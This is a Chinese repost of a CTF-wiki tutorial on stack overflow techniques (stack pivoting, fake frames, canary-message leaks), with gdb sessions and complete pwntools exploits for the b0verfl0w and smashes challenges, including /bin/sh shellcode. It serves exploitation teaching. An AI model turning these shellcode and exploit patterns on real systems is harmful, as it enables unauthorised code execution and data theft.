想寫一些漏洞相關的普及文章,不過在網上看到一些很不錯的文章,沒必要重複造輪子說明,是以轉載一下給大家看吧。
原文:
https://github.com/ctf-wiki/ctf-wiki/blob/master/pwn/stackoverflow/others.md
# 其它棧溢出技巧
# stack privot
## 原理
stack privot,正如它所描述的,該技巧就是劫持棧指針指向攻擊者所能控制的記憶體處。然後再在相應的位置進行ROP。一般來說,我們可能在以下情況需要使用stack privot
- 可以控制的棧溢出的位元組數較少,難以構造較長的ROP鍊
- 開啟了PIE保護,棧位址未知,我們可以将棧劫持到已知的區域。
- 其它漏洞難以利用,我們需要進行轉換,比如說将棧劫持到堆空間,進而利用堆漏洞
此外,利用stack privot有以下幾個要求
- 可以控制程式執行流。
- 可以控制sp指針。一般來說,控制棧指針會使用ROP,常見的控制棧指針的gadgets一般是
```assembly
pop rsp/esp
```
當然,還會有一些其它的姿勢。比如說libc_csu_init中的gadgets,我們通過偏移就可以得到控制rsp指針。上面的是正常的,下面的是偏移的。
```assembly
gef➤ x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
```
此外,還有更加進階的fake frame。
- 存在可以控制内容的記憶體,一般有如下
- bss段。由于程序按頁配置設定記憶體,配置設定給bss段的記憶體大小至少一個頁(4k,0x1000)大小。然而一般bss段的内容用不了這麼多的空間,并且bss段配置設定的記憶體頁擁有讀寫權限。
- heap。但是這個需要我們能夠洩露堆位址。
## 示例
### 例1
這裡我們以**X-CTF Quals 2016 - b0verfl0w**為例,進行介紹。首先,檢視程式的安全保護,如下
```shell
➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
```
可以看出源程式為32位,也沒有開啟NX保護,下面我們來找一下程式的漏洞
```C
signed int vul()
{
char s; // [sp+18h] [bp-20h]@1
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
```
可以看出,源程式存在棧溢出漏洞。但是其所能溢出的位元組就隻有50-0x20-4=14個位元組,是以我們很難執行一些比較好的ROP。這裡我們就考慮stack privot。由于程式本身并沒有開啟堆棧保護,是以我們可以在棧上布置shellcode并執行。基本利用思路如下
- 利用棧溢出布置shellcode
- 控制eip指向shellcode處
第一步,還是比較容易地,直接讀取即可,但是由于程式本身會開啟ASLR保護,是以我們很難直接知道shellcode的位址。但是棧上相對偏移是固定的,是以我們可以利用棧溢出對esp進行操作,使其指向shellcode處,并且直接控制程式跳轉至esp處。那下面就是找控制程式跳轉到esp處的gadgets了。
```assembly
➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1
Unique gadgets found: 3
```
這裡我們發現有一個可以直接跳轉到esp的gadgets。那麼我們可以布置payload如下
```text
shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
```
那麼我們payload中的最後一部分改如何設定esp呢,可以知道
- size(shellcode+padding)=0x20
- size(fake ebp)=0x4
- size(0x08048504)=0x4
是以我們最後一段需要執行的指令就是
```assembly
sub 0x28,esp
jmp esp
```
是以最後的exp如下
```python
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
```
### 例2-轉移堆
待。
## 題目
- EkoPartyCTF 2016 fuckzing-exploit-200
# frame faking
正如這個技巧名字所說的那樣,這個技巧就是構造一個虛假的棧幀來控制程式的執行流。
## 原理
概括地講,我們在之前講的棧溢出不外乎兩種方式
- 控制程式EIP
- 控制程式EBP
其最終都是控制程式的執行流。在frame faking中,我們所利用的技巧便是同時控制EBP與EIP,這樣我們在控制程式執行流的同時,也改變程式棧幀的位置。一般來說其payload如下
```
buffer padding|fake ebp|leave ret addr|
```
即我們利用棧溢出将棧上構造為如上格式。這裡我們主要接下後面兩個部分
- 函數的傳回位址被我們覆寫為執行leave ret的位址,這就表明了函數在正常執行完自己的leave ret後,還會再次執行一次leave ret。
- 其中fake ebp為我們構造的棧幀的基位址,需要注意的是這裡是一個位址。一般來說我們構造的假的棧幀如下
```
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2
```
這裡我們的fake ebp指向ebp2,即它為ebp2所在的位址。通常來說,這裡都是我們能夠控制的可讀的内容。在我們介紹基本的控制過程之前,我們還是有必要說一下,函數的入口點與出口點的基本操作
入口點
```
push ebp # 将ebp壓棧
move esp, ebp #将esp的值賦給ebp
```
出口點
```
leave
ret #pop eip,彈出棧頂元素作為程式下一個執行位址
```
其中leave指令相當于
```
move ebp, esp # 将ebp的值賦給esp
pop ebp #彈出ebp
```
下面我們來仔細說一下基本的控制過程。
1. 在有棧溢出的程式執行leave時,其分為兩個步驟
- move ebp, esp ,這會将esp也指向目前棧溢出漏洞的ebp基位址處。
- pop ebp, 這會将棧中存放的fake ebp的值賦給ebp。即執行完指令之後,ebp便指向了ebp2,也就是儲存了ebp2所在的位址。
2. 執行ret指令,會再次執行leave ret指令。
3. 執行leave指令,其分為兩個步驟
- move ebp, esp ,這會将esp指向ebp2。
- pop ebp,此時,會将ebp的内容設定為ebp2的值,同時esp會指向target function。
4. 執行ret指令,這時候程式就會執行targetfunction,當其進行程式的時候會執行
- push ebp,會将ebp2值壓入棧中,
- move esp, ebp,将ebp指向目前基位址。
此時的棧結構如下
```
ebp
|
v
ebp2|leave ret addr|arg1|arg2
```
5. 當程式執行師,其會正常申請空間,同時我們在棧上也安排了該函數對應的參數,是以程式會正常執行。
6. 程式結束後,其又會執行兩次 leave ret addr,是以如果我們在ebp2處布置好了對應的内容,那麼我們就可以一直控制程式的執行流程。
可以看出在fake frame中,我們有一個需求就是,我們必須得有一塊可以寫的記憶體,并且我們還知道這塊記憶體的位址,這一點與stack privot相似。
## 例子
目前來說,我在exploit-exercise的fusion level2中利用過這個技巧,其它地方暫時還未遇到,遇到的時候再進行補充。
## 題目
參考閱讀
- [http://www.xfocus.net/articles/200602/851.html](http://www.xfocus.net/articles/200602/851.html)
- [http://phrack.org/issues/58/4.html](http://phrack.org/issues/58/4.html)
# Stack smash
## 原理
在程式加了canary保護之後,如果我們讀取的buffer覆寫了對應的值時,程式就會報錯,而一般來說我們并不會關心報錯資訊。而stack smash技巧則就是利用列印這一資訊的程式來得到我們想要的内容。這是因為在程式發現canary保護之後,如果發現canary被修改的話,程式就會執行__stack_chk_fail函數來列印argv[0]指針所指向的字元串,正常情況下,這個指針指向了程式名。其代碼如下
```C
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
```
是以說如果我們利用棧溢出覆寫argv[0]為我們想要輸出的字元串的位址,那麼在__fortify_fail函數中就會輸出我們想要的資訊。
## 例子
這裡,我們以2015年32C3 CTF smashes為例進行介紹,該題目在jarvisoj上有複現。
### 确定保護
可以看出程式為64位,主要開啟了Canary保護以及NX保護,以及FORTIFY保護。
```shell
➜ stacksmashes git:(master) ✗ checksec smashes
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
```
### 分析程式
ida看一下
```c
__int64 sub_4007E0()
{
__int64 v0; // [email protected]
__int64 v1; // [email protected]
int v2; // [email protected]
__int64 v4; // [sp+0h] [bp-128h]@1
__int64 v5; // [sp+108h] [bp-20h]@1
v5 = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets((__int64)&v4);
if ( !v0 )
LABEL_9:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1 )
goto LABEL_9;
if ( v2 == '\n' )
break;
byte_600D20[v1++] = v2;
if ( v1 == ' ' )
goto LABEL_8;
}
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ v5;
}
```
很顯然,程式在_IO_gets((__int64)&v4);存在棧溢出。
此外,程式中還提示要overwrite flag。而且發現程式很有意思的在while循環之後執行了這條語句
```C
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
```
又看了看對應位址的内容,可以發現如下内容,說明程式的flag就在這裡啊。
```
.data:0000000000600D20 ; char aPctfHereSTheFl[]
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0
```
但是如果我們直接利用棧溢出輸出該位址的内容是不可行的,這是因為我們讀入的内容` byte_600D20[v1++] = v2;`也恰恰就是該塊記憶體,這會直接将其覆寫掉,這時候我們就需要利用一個技巧了
- 在EFL記憶體映射時,bss段會被映射兩次,是以我們可以使用另一處的位址來進行輸出,可以使用gdb的find來進行查找。
### 确定flag位址
我們把斷點下載下傳memset函數處,然後讀取相應的内容如下
```shell
gef➤ c
Continuing.
Hello!
What's your name? qqqqqqq
Nice to meet you, qqqqqqq.
Please overwrite the flag: 222222222
Breakpoint 1, __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:38
38 ../sysdeps/x86_64/multiarch/memset-avx2.S: 沒有那個檔案或目錄.
─────────────────────────────────────[ code:i386:x86-64 ]────
0x7ffff7b7f920 <__memset_chk_avx2+0> cmp rcx, rdx
0x7ffff7b7f923 <__memset_chk_avx2+3> jb 0x7ffff7b24110 <__GI___chk_fail>
0x7ffff7b7f929 nop DWORD PTR [rax+0x0]
→ 0x7ffff7b7f930 <__memset_avx2+0> vpxor xmm0, xmm0, xmm0
0x7ffff7b7f934 <__memset_avx2+4> vmovd xmm1, esi
0x7ffff7b7f938 <__memset_avx2+8> lea rsi, [rdi+rdx*1]
0x7ffff7b7f93c <__memset_avx2+12> mov rax, rdi
───────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffda38', 'l8']
8
0x00007fffffffda38│+0x00: 0x0000000000400878 → mov edi, 0x40094e ← $rsp
0x00007fffffffda40│+0x08: 0x0071717171717171 ("qqqqqqq"?)
0x00007fffffffda48│+0x10: 0x0000000000000000
0x00007fffffffda50│+0x18: 0x0000000000000000
0x00007fffffffda58│+0x20: 0x0000000000000000
0x00007fffffffda60│+0x28: 0x0000000000000000
0x00007fffffffda68│+0x30: 0x0000000000000000
0x00007fffffffda70│+0x38: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7b7f930 → Name: __memset_avx2()
[#1] 0x400878 → mov edi, 0x40094e
──────────────────────────────────────────────────────────────────────────────
gef➤ find 22222
Argument required (expression to compute).
gef➤ find '22222'
No symbol "22222" in current context.
gef➤ grep '22222'
[+] Searching '22222' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x600000-0x601000), permission=rw-
0x600d20 - 0x600d3f → "222222222's the flag on server}"
[+] In '[heap]'(0x601000-0x622000), permission=rw-
0x601010 - 0x601019 → "222222222"
gef➤ grep PCTF
[+] Searching 'PCTF' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x400000-0x401000), permission=r-x
0x400d20 - 0x400d3f → "PCTF{Here's the flag on server}"
```
可以看出我們讀入的2222已經覆寫了0x600d20處的flag,但是我們在記憶體的0x400d20處仍然找到了這個flag的備份,是以我們還是可以将其輸出。這裡我們已經确定了flag的位址。
### 确定偏移
下面,我們确定argv[0]距離讀取的字元串的偏移。
首先下斷點在main函數入口處,如下
```shell
gef➤ b *0x00000000004006D0
Breakpoint 1 at 0x4006d0
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes
Breakpoint 1, 0x00000000004006d0 in ?? ()
code:i386:x86-64 ]────
0x4006c0 <[email protected]+0> jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <[email protected]>
0x4006c6 <[email protected]+6> push 0x9
0x4006cb <[email protected]+11> jmp 0x400620
→ 0x4006d0 sub rsp, 0x8
0x4006d4 mov rdi, QWORD PTR [rip+0x200665] # 0x600d40 <stdout>
0x4006db xor esi, esi
0x4006dd call 0x400660 <[email protected]>
──────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb78', 'l8']
8
0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830 → <__libc_start_main+240> mov edi, eax ← $rsp
0x00007fffffffdb80│+0x08: 0x0000000000000000
0x00007fffffffdb88│+0x10: 0x00007fffffffdc58 → 0x00007fffffffe00b → "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]"
0x00007fffffffdb90│+0x18: 0x0000000100000000
0x00007fffffffdb98│+0x20: 0x00000000004006d0 → sub rsp, 0x8
0x00007fffffffdba0│+0x28: 0x0000000000000000
0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3
0x00007fffffffdbb0│+0x38: 0x00000000004006ee → xor ebp, ebp
──────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x4006d0 → sub rsp, 0x8
[#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48)
---Type <return> to continue, or q <return> to quit---
[#2] 0x400717 → hlt
```
可以看出0x00007fffffffe00b指向程式名,其自然就是argv[0],是以我們修改的内容就是這個位址。同時0x00007fffffffdc58處保留着該位址,是以我們真正需要的位址是0x00007fffffffdc58。
此外,根據彙編代碼
```assembly
.text:00000000004007E0 push rbp
.text:00000000004007E1 mov esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? "
.text:00000000004007E6 mov edi, 1
.text:00000000004007EB push rbx
.text:00000000004007EC sub rsp, 118h
.text:00000000004007F3 mov rax, fs:28h
.text:00000000004007FC mov [rsp+128h+var_20], rax
.text:0000000000400804 xor eax, eax
.text:0000000000400806 call ___printf_chk
.text:000000000040080B mov rdi, rsp
.text:000000000040080E call __IO_gets
```
我們可以确定我們讀入的字元串的起始位址其實就是調用__IO_gets之前的rsp,是以我們把斷點下在call處,如下
```assembly
gef➤ b *0x000000000040080E
Breakpoint 2 at 0x40080e
gef➤ c
Continuing.
Hello!
What's your name?
Breakpoint 2, 0x000000000040080e in ?? ()
──────────────────────────[ code:i386:x86-64 ]────
0x400804 xor eax, eax
0x400806 call 0x4006b0 <[email protected]>
0x40080b mov rdi, rsp
→ 0x40080e call 0x4006c0 <[email protected]>
↳ 0x4006c0 <[email protected]+0> jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <[email protected]>
0x4006c6 <[email protected]+6> push 0x9
0x4006cb <[email protected]+11> jmp 0x400620
0x4006d0 sub rsp, 0x8
──────────────────[ stack ]────
['0x7fffffffda40', 'l8']
8
0x00007fffffffda40│+0x00: 0x0000ff0000000000 ← $rsp, $rdi
0x00007fffffffda48│+0x08: 0x0000000000000000
0x00007fffffffda50│+0x10: 0x0000000000000000
0x00007fffffffda58│+0x18: 0x0000000000000000
0x00007fffffffda60│+0x20: 0x0000000000000000
0x00007fffffffda68│+0x28: 0x0000000000000000
0x00007fffffffda70│+0x30: 0x0000000000000000
0x00007fffffffda78│+0x38: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x40080e → call 0x4006c0 <[email protected]>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ print $rsp
$1 = (void *) 0x7fffffffda40
```
可以看出rsp的值為0x7fffffffda40,那麼相對偏移為
```python
>>> 0x00007fffffffdc58-0x7fffffffda40
536
>>> hex(536)
'0x218'
```
### 利用程式
我們構造利用程式如下
```python
from pwn import *
context.log_level = 'debug'
smash = ELF('./smashes')
if args['REMOTE']:
sh = remote('pwn.jarvisoj.com', 9877)
else:
sh = process('./smashes')
argv_addr = 0x00007fffffffdc58
name_addr = 0x7fffffffda40
flag_addr = 0x600D20
another_flag_addr = 0x400d20
payload = 'a' * (argv_addr - name_addr) + p64(another_flag_addr)
sh.recvuntil('name? ')
sh.sendline(payload)
sh.recvuntil('flag: ')
sh.sendline('bb')
data = sh.recv()
sh.interactive()
```
這裡我們直接就得到了flag,沒有出現網上說的得不到flag的情況。
## 題目